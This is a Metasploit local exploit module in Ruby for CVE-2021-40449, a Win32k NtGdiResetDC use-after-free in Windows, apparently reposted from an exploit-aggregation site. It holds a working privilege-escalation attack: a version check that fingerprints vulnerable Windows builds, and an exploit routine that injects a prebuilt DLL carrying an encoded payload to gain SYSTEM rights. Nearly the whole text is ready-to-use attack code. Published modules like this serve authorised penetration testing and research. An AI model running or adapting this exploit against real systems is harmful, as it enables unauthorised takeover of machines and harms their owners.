Share
## https://sploitus.com/exploit?id=PACKETSTORM:164926
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',  
'Description' => %q{  
A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by  
an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact  
that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers  
can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object  
that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle  
with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the  
attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the  
kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.  
  
This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions  
of Windows 10 will likely also work.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'IronHusky', # APT Group who exploited this in the wild  
'Costin Raiu', # Initial reporting on bug at SecureList  
'Boris Larin', # Initial reporting on bug at SecureList  
"Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability  
'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763  
'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.  
'Grant Willcox' # metasploit module  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Targets' => [  
[ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]  
],  
'Payload' => {  
'DisableNops' => true  
},  
'References' => [  
[ 'CVE', '2021-40449' ],  
[ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation  
[ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup  
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC  
[ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.  
],  
'DisclosureDate' => '2021-10-12',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_OS_RESTARTS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
'SideEffects' => []  
}  
}  
)  
)  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')  
end  
  
build_num_raw = cmd_exec('cmd.exe /c ver')  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)  
if build_num.nil?  
print_error("Couldn't retrieve the target's build number!")  
else  
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]  
print_status("Target's build number: #{build_num}")  
end  
  
# see https://docs.microsoft.com/en-us/windows/release-information/  
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/  
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')  
end  
  
build_num_gemversion = Rex::Version.new(build_num)  
  
# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/  
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11  
return CheckCode::Appears('Vulnerable Windows 11 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022  
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2  
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1  
return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2  
return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1  
return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909  
return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903  
return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809  
return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803  
return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709  
return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703  
return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607  
return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511  
return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507  
return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2  
return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012  
return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2  
return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')  
elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2  
return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')  
else  
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')  
end  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
encoded_payload = payload.encoded  
execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),  
[encoded_payload.length].pack('I<') + encoded_payload  
)  
  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
end